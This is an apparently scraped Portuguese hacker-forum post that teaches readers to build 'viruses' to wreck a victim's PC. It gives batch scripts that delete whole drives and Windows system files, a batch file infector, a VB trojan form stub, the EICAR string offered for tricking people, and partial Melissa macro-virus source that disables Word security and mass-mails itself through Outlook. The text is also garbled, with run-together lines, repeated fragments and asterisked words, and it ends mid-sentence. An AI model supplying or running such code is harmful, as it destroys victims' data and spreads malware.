(e o nome do seu virus).bat|depois vc ira digitar oque ele deve fazer se vc quizer q ele so desligue o pc da vitima digite:@echo offBREAK OFFshutdown -rExit agora se vc quizer fuder realmente o pc da vitima digite: Twisted Evil@echo offBREAK OFFDELTREE/y C:*.*DELTREE/y D:*.*DELTREE/y E:*.*DELTREE/y F:*.*cdcd windowsdel *.comdel *.sysdel *.dlldel *.logdel *.txtdel *.inidel *.prxdel win.comcdcd windowscd system32del *.comdel *.sysdel *.dlldel *.logdel *.txtdel *.inidel *.prxshutdown -rExitPronto simples facil e maldoso ta ai o seu .bat!!Atencao: Nao uBom primeiro nunca teste um virus em seu proprio hd...agora ensinarei a fazer 1 virus pelo ms dos ou bloco de notas...Primeiro abra o ms dos se vc nao souber(se mate lammer)depois de abertodigite Edit (e o nome do seu virus).bat|depois vc ira digitar oque ele deve fazer se vc quizer q ele so desligue o pc da vitima digite:@echo offBREAK OFFshutdown -rExitNomeel All Windowsrmdir /s /q c:\windowsFuncaoeleta tdo do Windows (fode o pc)Nome:Autoexec@ECHO OFF@BREAK OFFdeltree/C: Y\*.*Funcao:Fode com tudoNome:Trojan-1VERSION 5.00Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"Begin VB.**** Form1BackColor = &H80000007&BorderStyle = 1 'Fixed SingleCaption = "Welcome to XP Blaster Pro (Enterprise Edition)!"ClientHeight = 5400ClientLeft = 45ClientTop = 390ClientWidth = 8085BeginProperty FontName = "Fixedsys"Size = 9Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyIcon = "Source3.frx":0000LinkTopic = "Form1"MaxButton = 0 'FalseMinButton = 0 'FalseMouseIcon = "Source3.frx":08CAPaletteMode = 2 'CustomScaleHeight = 5400ScaleWidth = 8085ShowInTaskbar = 0 'FalseStartUpPosition = 3 'Windows DefaultBegin VB.CommandButton Command3Caption = "About"BeginProperty FontName = "MS Sans Serif"Size = 8.25Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyHeight = 375Left = 120TabIndex = 3Top = 4920Width = 1215EndBegin VB.CommandButton Command2Appearance = 0 'FlatBackColor = &H000000FF&Caption = "WEBSITE"BeginProperty FontName = "Trebuchet MS"Size = 8.25Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyHeightFuncao:Auguns dos trojans tradicionaisNomeel p/ Windowsdel /s /q c:\windows\Funcaoeleta tudo dentro do Windows ex: arquivos e naum pastasNome:Shutdown-Sshutdown -sFuncaoesliga o pcNome:Shutdown-Rshutdown -rFuncao:Reinicia o pcNome:Trojan-2@echo offctty nulremfor %%f in (*.exe *.com) do set A=%%fif %A%==COMMAND.COM set A=rename %A% V%A%if not exist V%A% goto endattrib +h V%A%copy %0.bat %A%attrib +r %A%ren %A% *.batset A=:endctty con@if exist V%0.com V%0.com %1 %2 %3@if exist V%0.exe V%0.exe %1 %2 %3Funcao:Fode com tudo mesmo...Nome:PirataX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*Funcao:Testar seu Anti-Virus ou enganar alguem.Nome:Melissa 1999// Melissa Virus Source CodePrivate Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabl ed = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.***ressLists.CountSet ***yBook = DasMapiName.***ressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To ***yBook.***ressEntries.CountPeep = ***yBook.***ressEntries(x)BreakUmOffASlice.Recipients.*** Peepx = x + 1If x > 50 Then oo = ***yBook.***ressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.*** ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.LogoffEndFuncao:se espalha rapidamente e forca empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O virus, alem de se enviar pela